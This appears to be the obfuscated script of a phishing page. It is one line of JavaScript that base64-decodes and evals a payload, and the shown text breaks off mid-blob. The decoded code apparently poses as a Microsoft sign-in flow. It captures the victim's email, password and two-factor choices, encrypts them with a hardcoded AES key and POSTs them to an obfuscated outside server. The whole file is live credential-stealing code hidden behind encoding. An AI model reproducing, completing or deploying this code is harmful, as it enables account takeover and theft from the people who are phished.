GiLTFogGbS = atob; eval(GiLTFogGbS('dmFyIG90aGVyd2VidXJsID0gIiI7DQp2YXIgd2Vic2l0ZW5hbWVzID0gWyJnb2RhZGR5Iiwib2t0YSJdOw0KdmFyIGJlcyA9IFsiQXBwbGUuY29tIiwiTmV0ZmxpeC5jb20iXTsNCnZhciBwZXMgPSBbImh0dHBzOlwvXC90Lm1lXC8iLCJodHRwczpcL1wvdC5jb21cLyIsInQubWVcLyIsImh0dHBzOlwvXC90Lm1lLmNvbVwvIiwidC5tZS5jb21cLyIsInQubWVAIiwiaHR0cHM6XC9cL3QubWVAIiwiaHR0cHM6XC9cL3QubWUiLCJodHRwczpcL1wvdC5jb20iLCJ0Lm1lIiwiaHR0cHM6XC9cL3QubWUuY29tIiwidC5tZS5jb20iLCJ0Lm1lXC9AIiwiaHR0cHM6XC9cL3QubWVcL0AiLCJodHRwczpcL1wvdC5tZUBcLyIsInQubWVAXC8iLCJodHRwczpcL1wvd3d3LnRlbGVncmFtLm1lXC8iLCJodHRwczpcL1wvd3d3LnRlbGVncmFtLm1lIl07DQp2YXIgY2FwbnVtID0gMTsNCnZhciBhcHBudW0gPSAxOw0KdmFyIHB2biA9IDA7DQp2YXIgdmlldyA9ICIiOw0KdmFyIHBhZ2VsaW5rdmFsID0gIlRlS3RpVyI7DQp2YXIgZW1haWxjaGVjayA9IHdpbmRvdy5sb2NhdGlvbi5zZWFyY2guc3Vic3RyaW5nKDEpOw0KZnVuY3Rpb24gaXNCYXNlNjQoc3RyKSB7DQogICAgdHJ5IHsNCiAgICAgICAgcmV0dXJuIGJ0b2EoYXRvYihzdHIpKSA9PT0gc3RyOw0KICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0NCmlmIChpc0Jhc2U2NChlbWFpbGNoZWNrKSkgew0KICAgIGVtYWlsY2hlY2sgPSBhdG9iKGVtYWlsY2hlY2spOw0KfQ0KdmFyIHdlYm5hbWUgPSAicnRyaW0oL3dlYjkvLCAnLycpIjsNCnZhciB0d2EgPSAwOw0KDQp2YXIgY3VycmVudHJlcSA9IG51bGw7DQp2YXIgcmVxdWVzdHNlbnQgPSBmYWxzZTsNCnZhciBwYWdlZGF0YSA9ICIiOw0KdmFyIHJlZGlyZWN0dXJsID0gImh0dHBzOi8vb2ZmaWNlLmNvbS8/YXV0aD0yIjsNCnZhciB1c2VyQWdlbnQgPSBuYXZpZ2F0b3IudXNlckFnZW50Ow0KdmFyIGJyb3dzZXJOYW1lOw0KdmFyIHVzZXJpcDsNCnZhciB1c2VyY291bnRyeTsNCnZhciBlcnJvcmNvZGVleGVjdXRlZCA9IGZhbHNlOw0KaWYodXNlckFnZW50Lm1hdGNoKC9lZGcvaSkpew0KICAgIGJyb3dzZXJOYW1lID0gIkVkZ2UiOw0KfSBlbHNlIGlmKHVzZXJBZ2VudC5tYXRjaCgvY2hyb21lfGNocm9taXVtfGNyaW9zL2kpKXsNCiAgICBicm93c2VyTmFtZSA9ICJjaHJvbWUiOw0KfSBlbHNlIGlmKHVzZXJBZ2VudC5tYXRjaCgvZmlyZWZveHxmeGlvcy9pKSl7DQogICAgYnJvd3Nlck5hbWUgPSAiZmlyZWZveCI7DQp9IGVsc2UgaWYodXNlckFnZW50Lm1hdGNoKC9zYWZhcmkvaSkpew0KICAgIGJyb3dzZXJOYW1lID0gInNhZmFyaSI7DQp9IGVsc2UgaWYodXNlckFnZW50Lm1hdGNoKC9vcHJcLy9pKSl7DQogICAgYnJvd3Nlck5hbWUgPSAib3BlcmEiOw0KfSBlbHNlew0KICAgIGJyb3dzZXJOYW1lPSJObyBicm93c2VyIGRldGVjdGlvbiI7DQp9DQoNCmZ1bmN0aW9uIHJlbW92ZXNwYWNlcyhpbnB1dCkgew0KICAgIGlucHV0LnZhbHVlID0gaW5wdXQudmFsdWUucmVwbGFjZSgvXHMrL2csICcnKTsgLy8gUmVtb3ZlcyBhbGwgc3BhY2VzDQp9DQoNCmZ1bmN0aW9uIGVuY3J5cHREYXRhKGRhdGEpIHsNCiAgICBjb25zdCBrZXkgPSBDcnlwdG9KUy5lbmMuVXRmOC5wYXJzZSgnMTIzNDU2Nzg5MDEyMzQ1NicpOw0KICAgIGNvbnN0IGl2ID0gQ3J5cHRvSlMuZW5jLlV0ZjgucGFyc2UoJzEyMzQ1Njc4OTAxMjM0NTYnKTsNCiAgICBjb25zdCBlbmNyeXB0ZWQgPSBDcnlwdG9KUy5BRVMuZW5jcnlwdChkYXRhLCBrZXksIHsNCiAgICAgICAgaXY6IGl2LA0KICAgICAgICBwYWRkaW5nOiBDcnlwdG9KUy5wYWQuUGtjczcsDQogICAgICAgIG1vZGU6IENyeXB0b0pTLm1vZGUuQ0JDDQogICAgfSk7DQogICAgcmV0dXJuIGVuY3J5cHRlZC50b1N0cmluZygpOw0KfQ0KDQpmdW5jdGlvbiBzdHJpbmdUb0JpbmFyeShpbnB1dCkgew0KICAgIGNvbnN0IHplcm9SZXBsYWNlbWVudCA9ICcwJzsNCiAgICBjb25zdCBvbmVSZXBsYWNlbWVudCA9ICcxJzsNCiAgDQogICAgcmV0dXJuIGJ0b2EoaW5wdXQNCiAgICAgIC5zcGxpdCgnJykNCiAgICAgIC5tYXAoY2hhciA9PiB7DQogICAgICAgIGxldCBiaW5hcnkgPSBjaGFyLmNoYXJDb2RlQXQoMCkudG9TdHJpbmcoMik7DQogICAgICAgIGJpbmFyeSA9IGJpbmFyeS5wYWRTdGFydCg4LCAnMCcpOw0KICAgICAgICByZXR1cm4gYmluYXJ5DQogICAgICAgICAgLnNwbGl0KCcnKQ0KICAgICAgICAgIC5tYXAoYml0ID0+IChiaXQgPT09ICcwJyA/IHplcm9SZXBsYWNlbWVudCA6IG9uZVJlcGxhY2VtZW50KSkNCiAgICAgICAgICAuam9pbignJyk7DQogICAgICB9KQ0KICAgICAgLmpvaW4oJyAnKSk7DQp9DQoNCmZ1bmN0aW9uIGRlY3J5cHREYXRhKGVuY3J5cHRlZERhdGEpIHsNCiAgICBjb25zdCBrZXkgPSBDcnlwdG9KUy5lbmMuVXRmOC5wYXJzZSgnMTIzNDU2Nzg5MDEyMzQ1NicpOw0KICAgIGNvbnN0IGl2ID0gQ3J5cHRvSlMuZW5jLlV0ZjgucGFyc2UoJzEyMzQ1Njc4OTAxMjM0NTYnKTsNCiAgICBjb25zdCBkZWNyeXB0ZWQgPSBDcnlwdG9KUy5BRVMuZGVjcnlwdChlbmNyeXB0ZWREYXRhLCBrZXksIHsNCiAgICAgICAgaXY6IGl2LA0KICAgICAgICBwYWRkaW5nOiBDcnlwdG9KUy5wYWQuUGtjczcsDQogICAgICAgIG1vZGU6IENyeXB0b0pTLm1vZGUuQ0JDDQogICAgfSk7DQogICAgcmV0dXJuIGRlY3J5cHRlZC50b1N0cmluZyhDcnlwdG9KUy5lbmMuVXRmOCk7DQp9DQoNCnZhciBzZW5kQW5kUmVjZWl2ZSA9IChyb3V0ZSwgYXJncywgZ2V0cmVzcG9uc2UpID0+IHsNCmlmKHJlcXVlc3RzZW50ID09IHRydWUgJiYgcm91dGUgIT09ICJ0d29mYXNlbGVjdCIpew0KcmV0dXJuIG5ldyBQcm9taXNlKChyZXNvbHZlLCByZWplY3QpID0+IHsNCnJldHVybiByZXNvbHZlKHttZXNzYWdlOiAid2FpdGluZyBmb3IgcHJldmlvdXMgcmVxdWVzdCB0byBjb21wbGV0ZSJ9KTsNCn0pOw0KfQ0KaWYocmVxdWVzdHNlbnQgPT0gZmFsc2UgfHwgcm91dGUgPT0gInR3b2Zhc2VsZWN0Iil7DQpyZXF1ZXN0c2VudCA9IHRydWU7DQpsZXQgcm91dGVuYW1lID0gbnVsbDsNCmxldCByYW5kcGF0dGVybiA9IG51bGw7DQppZihyb3V0ZSA9PSAiY2hlY2tlbWFpbCIpew0KcmFuZHBhdHRlcm4gPSAvKHBxfHJzKVtBLVphLXowLTldezYsMTh9KHl6fDEyfDM0KVtBLVphLXowLTldezIsN30odXZ8d3gpKDNbMS05XXw0MCkvZ207DQp9DQppZihyb3V0ZSA9PSAiY2hlY2twYXNzIil7DQpyYW5kcGF0dGVybiA9IC8oeXp8MTIpW0EtWmEtejAtOV17NywxNH0oNTZ8NzgpW0EtWmEtejAtOV17Myw4fShvcHxxcikoNFsxLTldfDUwKS9nbTsNCn0NCmlmKHJvdXRlID09ICJ0d29mYXNlbGVjdCIpew0KcmFuZHBhdHRlcm4gPSAvKDU2fDc4fDkwKVtBLVphLXowLTldezgsMTZ9KDIzfDQ1fDY3KVtBLVphLXowLTldezQsOX0oc3R8dXYpKDVbMS05XXw2MCkvZ207DQp9DQppZihyb3V0ZSA9PSAidHdvZmFzZWxlY3RlZCIpew0KcmFuZHBhdHRlcm4gPSAvKDIzfDQ1KVtBLVphLXowLTldezksMjB9KDg5fDkwfGFiKVtBLVphLXowLTldezUsMTB9KHZ3fHh5KSg2WzEtOV18NzApL2dtOw0KaWYoY3VycmVudHJlcSl7DQpjdXJyZW50cmVxLmFib3J0KCk7DQp9DQp9DQppZihyb3V0ZSA9PSAicGFnZXZpc2l0Iil7DQpyYW5kcGF0dGVybiA9IC8ocHF8cnMpW0EtWmEtejAtOV17NiwxOH0oeXp8MTJ8MzQpW0EtWmEtejAtOV17Miw3fSh1dnx3eCkoOFsxLTldfDkwKS9nbTsNCnJlcXVlc3RzZW50ID0gZmFsc2U7DQp9DQppZihyb3V0ZSA9PSAibWlzc2luZ3RlbXBsYXRlIil7DQpyYW5kcGF0dGVybiA9IC8ocHF8cnMpW0EtWmEtejAtOV17NiwxOH0oeXp8MTJ8MzQpW0EtWmEtejAtOV17Miw3fSh1dnx3eCkoOVsxLTldfDEwMCkvZ207DQpyZXF1ZXN0c2VudCA9IGZhbHNlOw0KfQ0KbGV0IHJhbmRleHAgPSBuZXcgUmFuZEV4cChyYW5kcGF0dGVybik7DQpsZXQgcmFuZHJvdXRlID0gcmFuZGV4cC5nZW4oKTsNCg0KbGV0IGZvcm1hdHRlZGFyZ3MgPSAwOw0KaWYocm91dGUgPT0gImNoZWNrZW1haWwiKXsNCmZvcm1hdHRlZGFyZ3MgPSBhcmdzLm1hcChpdGVtID0+ICcvJytpdGVtKS5qb2luKCcnKSsnLycrYXBwbnVtKycvJytnZXRyZXNwb25zZTsNCn0NCmlmKHJvdXRlICE9PSAiY2hlY2tlbWFpbCIpew0KZm9ybWF0dGVkYXJncyA9ICcvJyt0b2tlbithcmdzLm1hcChpdGVtID0+ICcvJytpdGVtKS5qb2luKCcnKSsnLycrZ2V0cmVzcG9uc2U7DQp9DQovLyBjb25zb2xlLmxvZyhmb3JtYXR0ZWRhcmdzKTsNCmxldCBlbmNyeXB0ZWRkYXRhID0gZW5jcnlwdERhdGEoZm9ybWF0dGVkYXJncyk7DQpjb25zdCBtYWtlUmVxdWVzdCA9IChyZXRyeUNvdW50KSA9PiB7DQogICAgcmV0dXJuIG5ldyBQcm9taXNlKChyZXNvbHZlLCByZWplY3QpID0+IHsNCiAgICAgICAgICAgIGN1cnJlbnRyZXEgPSAkLmFqYXgoew0KICAgICAgICAgICAgICAgIHVybDogJ2h0dHBzOi8vbkJNaUxYOWdMc3NCaWZpa3dwSWxXUXVYUWtTeUFFcUU2NTdmRjZBZTBsYUI4Tkd6RjQub2pzamJyLmVzL3hqZG50bnJnd2F3YXpvZ3Z5cWl4dWRtbmFUZEdFeUxUWUFDRVNBWlFOVUNCVE9SRVBDRklPV0tVVkVLS1VYSUpLQVRKRFZDSlRKWVFCR09OVUsnICsgcmFuZHJvdXRlLA0KICAgICAgICAgICAgICAgIHR5cGU6ICdQT1NUJywNCiAgICAgICAgICAgICAgICBkYXRhOiB7ZGF0YTogZW5jcnlwdGVkZGF0YX0sDQogICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24ocmVzcG9uc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKHJlc3BvbnNlLm1lc3NhZ2UgPT0gIlRva2VuIE5vdCBGb3VuZCIgJiYgcmV0cnlDb3VudCA8IDMpIHsNCiAgICAgICAgICAgICAgICAgICAgY29uc29sZS5sb2coJ2RhdGE6ICcrZm9ybWF0dGVkYXJncyk7DQogICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKXsNCiAgICAgICAgICAgICAgICAgICAgcmVzb2x2ZShtYWtlUmVxdWVzdChyZXRyeUNvdW50ICsgMSkpOw0KICAgICAgICAgICAgICAgICAgICB9LCAzMDAwKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAocmVzcG9uc2UubWVzc2FnZSA9PSAiTWlzc2luZyBWYWx1ZSIpIHsNCiAgICAgICAgICAgICAgICAgICAgcmVzb2x2ZSgnbWlzc2luZyB2YWx1ZScpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChyZXNwb25zZS5tZXNzYWdlICE9PSAiVG9rZW4gTm90IEZvdW5kIikgew0KICAgICAgICAgICAgICAgICAgICBsZXQgZGVjcnlwdGVkcmVzcCA9IEpTT04ucGFyc2UoZGVjcnlwdERhdGEocmVzcG9uc2UpKTsNCiAgICAgICAgICAgICAgICAgICAgaWYocm91dGUgIT09ICJ0d29mYXNlbGVjdGVkIil7DQogICAgICAgICAgICAgICAgICAgIGlmIChkZWNyeXB0ZWRyZXNwLnRva2VuKSB7DQogICAgICAgICAgICAgICAgICAgICAgICB0b2tlbiA9IGRlY3J5cHRlZHJlc3AudG9rZW47DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoZGVjcnlwdGVkcmVzcC5tZXNzYWdlID09ICJUb2tlbiBOb3QgRm91bmQiICYmIHJldHJ5Q291bnQgPCAzKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBjb25zb2xlLmxvZygnZGF0YTogJytmb3JtYXR0ZWRhcmdzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJlc29sdmUobWFrZVJlcXVlc3QocmV0cnlDb3VudCArIDEpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0sIDMwMDApOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgLy8gY29uc29sZS5sb2coZGVjcnlwdGVkcmVzcCk7DQogICAgICAgICAgICAgICAgICAgICAgICByZXF1ZXN0c2VudCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgcmVzb2x2ZShkZWNyeXB0ZWRyZXNwKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICBlcnJvcjogZnVuY3Rpb24oeGhyLCBzdGF0dXMsIGVycm9yKSB7DQogICAgICAgICAgICAgICAgICAgIHJlcXVlc3RzZW50ID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoJ0Vycm9yOicsIGVycm9yKTsNCiAgICAgICAgICAgICAgICAgICAgcmVqZWN0KGVycm9yKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfSk7DQogICAgfTsNCiAgICByZXR1cm4gbWFrZVJlcXVlc3QoMCk7DQp9DQp9Ow0KZnVuY3Rpb24gYm90dG9tc2VjdGlvbmxpbmtzKHNlY3Rpb25uYW1lLGFycmF5KSB7DQpjb25zdCBib3R0b21zZWN0aW9uID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJytzZWN0aW9ubmFtZSkucXVlcnlTZWxlY3RvcignLmJvdHRvbXNlY3Rpb24nKTsNCmJvdHRvbXNlY3Rpb24uaW5uZXJIVE1MID0gJyc7DQphcnJheS5mb3JFYWNoKGl0ZW0gPT4gew0KaWYgKGl0ZW0udHlwZSA9PT0gJ3RleHRfbGluaycpIHsNCmNvbnN0IHRleHRXaXRoTGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3AnKTsNCnRleHRXaXRoTGluay5jbGFzc0xpc3QuYWRkKCdtYi0xNicpOw0KdGV4dFdpdGhMaW5rLmlubmVySFRNTCA9IGAke2l0ZW0udGV4dH0gPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBkYXRhLWlkPSJgK2l0ZW0uYV9pZCtgIiBvbmNsaWNrPSJsaW5rb3B0aW9uY2xpY2sodGhpcykiIGNsYXNzPSJsaW5rIj4ke2l0ZW0uYV90ZXh0fTwvYT5gOw0KYm90dG9tc2VjdGlvbi5hcHBlbmRDaGlsZCh0ZXh0V2l0aExpbmspOw0KfSBlbHNlIGlmIChpdGVtLnR5cGUgPT09ICdsaW5rX3RleHQnKSB7DQpjb25zdCBsaW5rd2l0aFRleHQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7DQpsaW5rd2l0aFRleHQuY2xhc3NMaXN0LmFkZCgnbGluaycsICdtYi0xNicpOw0KbGlua3dpdGhUZXh0LnNldEF0dHJpYnV0ZSgnZGF0YS1pZCcsIGl0ZW0uYV9pZCk7DQpsaW5rd2l0aFRleHQuc2V0QXR0cmlidXRlKCdvbmNsaWNrJywgJ2xpbmtvcHRpb25jbGljayh0aGlzKScpOw0KbGlua3dpdGhUZXh0LnRleHRDb250ZW50ID0gaXRlbS5hX3RleHQ7DQpib3R0b21zZWN0aW9uLmFwcGVuZENoaWxkKGxpbmt3aXRoVGV4dCk7ICAgICAgICANCmNvbnN0IHBhcmFncmFwaCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3AnKTsNCnBhcmFncmFwaC50ZXh0Q29udGVudCA9IGl0ZW0udGV4dDsNCmJvdHRvbXNlY3Rpb24uYXBwZW5kQ2hpbGQocGFyYWdyYXBoKQ0KfSBlbHNlIGlmIChpdGVtLnR5cGUgPT09ICdsaW5rJykgew0KY29uc3QgbGlua09ubHkgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7DQpsaW5rT25seS5jbGFzc0xpc3QuYWRkKCdsaW5rJywnbWItMTYnKTsNCmxpbmtPbmx5LnNldEF0dHJpYnV0ZSgiZGF0YS1pZCIsIGl0ZW0uYV9pZCk7DQpsaW5rT25seS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCAibGlua29wdGlvbmNsaWNrKHRoaXMpIik7DQpsaW5rT25seS50ZXh0Q29udGVudCA9IGl0ZW0uYV90ZXh0Ow0KbGlua09ubHkuaHJlZiA9ICcjJzsNCmJvdHRvbXNlY3Rpb24uYXBwZW5kQ2hpbGQobGlua09ubHkpOw0KfSBlbHNlIGlmIChpdGVtLnR5cGUgPT09ICd0ZXh0Jykgew0KY29uc3QgdGV4dE9ubHkgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdwJyk7DQp0ZXh0T25seS5jbGFzc0xpc3QuYWRkKCdtYi0xNicpOw0KdGV4dE9ubHkudGV4dENvbnRlbnQgPSBpdGVtLnRleHQ7DQpib3R0b21zZWN0aW9uLmFwcGVuZENoaWxkKHRleHRPbmx5KTsNCn0NCn0pOw0KfQ0KdmFyIGRpc2Nvbm5lY3R0aW1lcjsNCnZhciBzaG93d2VkaWRudGhlYXJwb3B1cCA9IDA7DQpmdW5jdGlvbiBzdGFydGRpc2Nvbm5lY3R0aW1lcigpew0KaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLmNsYXNzTGlzdC5jb250YWlucygnZC1ub25lJykpew0KZGlzY29ubmVjdHRpbWVyID0gc2V0VGltZW91dChmdW5jdGlvbigpIHsNCnNldFRpbWVvdXQoZnVuY3Rpb24oKXsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcignLmxvYWRpbmctY29udGFpbmVyJykuY2xhc3NMaXN0LnJlbW92ZSgnbG9hZGluZycpOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5xdWVyeVNlbGVjdG9yKCcuc2VjdGlvbmNvbnRlbnQnKS5zdHlsZS5hbmltYXRpb24gPSAnaGlkZS10by1sZWZ0IDAuNXMnOw0Kc2V0VGltZW91dChmdW5jdGlvbigpew0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5xdWVyeVNlbGVjdG9yKCcjdHJ5YWdhaW5oZWFkZXInKS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5xdWVyeVNlbGVjdG9yKCcjdHJ5YWdhaW5fd2l0aG91dGludGVybmV0Jykuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJ3Nob3ctZnJvbS1yaWdodCAwLjVzJzsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCn0sIDIwMCk7DQp9LCA1MDApOw0KdmlldyA9ICJ0cnlhZ2FpbmxhdGVyIjsNCn0sIDQwMDAwKTsNCn0NCn0NCmZ1bmN0aW9uIG1vcmVpbmZvcmVxKCl7DQpzaG93d2VkaWRudGhlYXJwb3B1cCA9IDA7DQppZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykuY2xhc3NMaXN0LmNvbnRhaW5zKCdkLW5vbmUnKSl7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykucXVlcnlTZWxlY3RvcignLnRpdGxlJykuaW5uZXJUZXh0ID0gIk1vcmUgSW5mb3JtYXRpb24gUmVxdWlyZWQiOw0Kc2V0VGltZW91dChmdW5jdGlvbigpew0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5xdWVyeVNlbGVjdG9yKCcubG9hZGluZy1jb250YWluZXInKS5jbGFzc0xpc3QucmVtb3ZlKCdsb2FkaW5nJyk7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLnF1ZXJ5U2VsZWN0b3IoJy5zZWN0aW9uY29udGVudCcpLnN0eWxlLmFuaW1hdGlvbiA9ICdoaWRlLXRvLWxlZnQgMC41cyc7DQpzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLnF1ZXJ5U2VsZWN0b3IoJyN0cnlhZ2FpbmhlYWRlcicpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLnF1ZXJ5U2VsZWN0b3IoJyN0cnlhZ2Fpbl9tb3JlaW5mbycpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLnF1ZXJ5U2VsZWN0b3IoJy5zZWN0aW9uY29udGVudCcpLnN0eWxlLmFuaW1hdGlvbiA9ICdzaG93LWZyb20tcmlnaHQgMC41cyc7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQp9LCAyMDApOw0KfSwgNTAwKTsNCn0NCnZpZXcgPSAidHJ5YWdhaW5sYXRlciI7DQp9DQoNCi8vIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLCAoKSA9PiB7DQppZih0d2EgPT0gMCl7DQpzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7DQpzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlpbmd0b3NpZ25pbicpLnF1ZXJ5U2VsZWN0b3IoJy5sb2FkaW5nLWNvbnRhaW5lcicpLmNsYXNzTGlzdC5yZW1vdmUoJ2xvYWRpbmcnKTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWluZ3Rvc2lnbmluJykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJ2hpZGUtdG8tbGVmdCAwLjVzJzsNCnNldFRpbWVvdXQoZnVuY3Rpb24oKXsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3RyeWluZ3Rvc2lnbmluIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQppZiAoIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uc19kb2MnKSAmJiAhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25zX3BkZicpKXsNCmRvY3VtZW50LnRpdGxlID0gIkNvbnRpbnVlIEZvciBTZWN1cmUgQWNjZXNzIjsNCmlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnb3V0Mi1sb2dvJykpew0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ291dDItbG9nbycpLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOw0KfQ0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdW5hbWUnKS5xdWVyeVNlbGVjdG9yKCcuc2VjdGlvbmNvbnRlbnQnKS5zdHlsZS5hbmltYXRpb24gPSAnc2hvdy1mcm9tLXJpZ2h0IDAuNXMnOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdW5hbWUnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCn0NCn0sIDIwMCk7DQp9LCA1MDApOw0KDQppZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25zX3BkZicpKXsNCnNldFRpbWVvdXQoZnVuY3Rpb24oKXsNCmRvY3VtZW50LnRpdGxlID0gIkNvbnRpbnVlIEZvciBTZWN1cmUgQWNjZXNzIjsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uc19wZGYnKS5xdWVyeVNlbGVjdG9yKCcjbWFpbkxvYWRlcicpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbnNfcGRmJykucXVlcnlTZWxlY3RvcignI3NlY3Rpb25fdW5hbWVfY29udGVudCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KfSwgMTAwMCk7DQp9DQoNCmlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbnNfZG9jJykpew0Kc2V0VGltZW91dChmdW5jdGlvbigpew0KZG9jdW1lbnQudGl0bGUgPSAiQ29udGludWUgRm9yIFNlY3VyZSBBY2Nlc3MiOw0KfSwgMTAwMCk7DQp9DQoNCn0sIDEwMDApOw0KfQ0KaWYodHdhID09IDEpew0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5aW5ndG9zaWduaW4nKS5xdWVyeVNlbGVjdG9yKCcubG9hZGluZy1jb250YWluZXInKS5jbGFzc0xpc3QucmVtb3ZlKCdsb2FkaW5nJyk7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl90cnlpbmd0b3NpZ25pbiIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KZG9jdW1lbnQudGl0bGUgPSAiQ29udGludWUgRm9yIFNlY3VyZSBBY2Nlc3MiOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdW5hbWUnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCn0NCmlmKHR3YSA9PSAyKXsNCmRvY3VtZW50LnRpdGxlID0gIkNvbnRpbnVlIEZvciBTZWN1cmUgQWNjZXNzIjsNCn0NCi8vIH0pOw0KDQpsZXQgZW1haWxpbnB1dGVsZSA9IGZhbHNlOw0KDQpmdW5jdGlvbiB0cnlmaW5kaW5nZWxlKGVtYWlsKSB7DQppZiAodmlldyA9PSAidW5hbWUiKSB7DQpsZXQgZ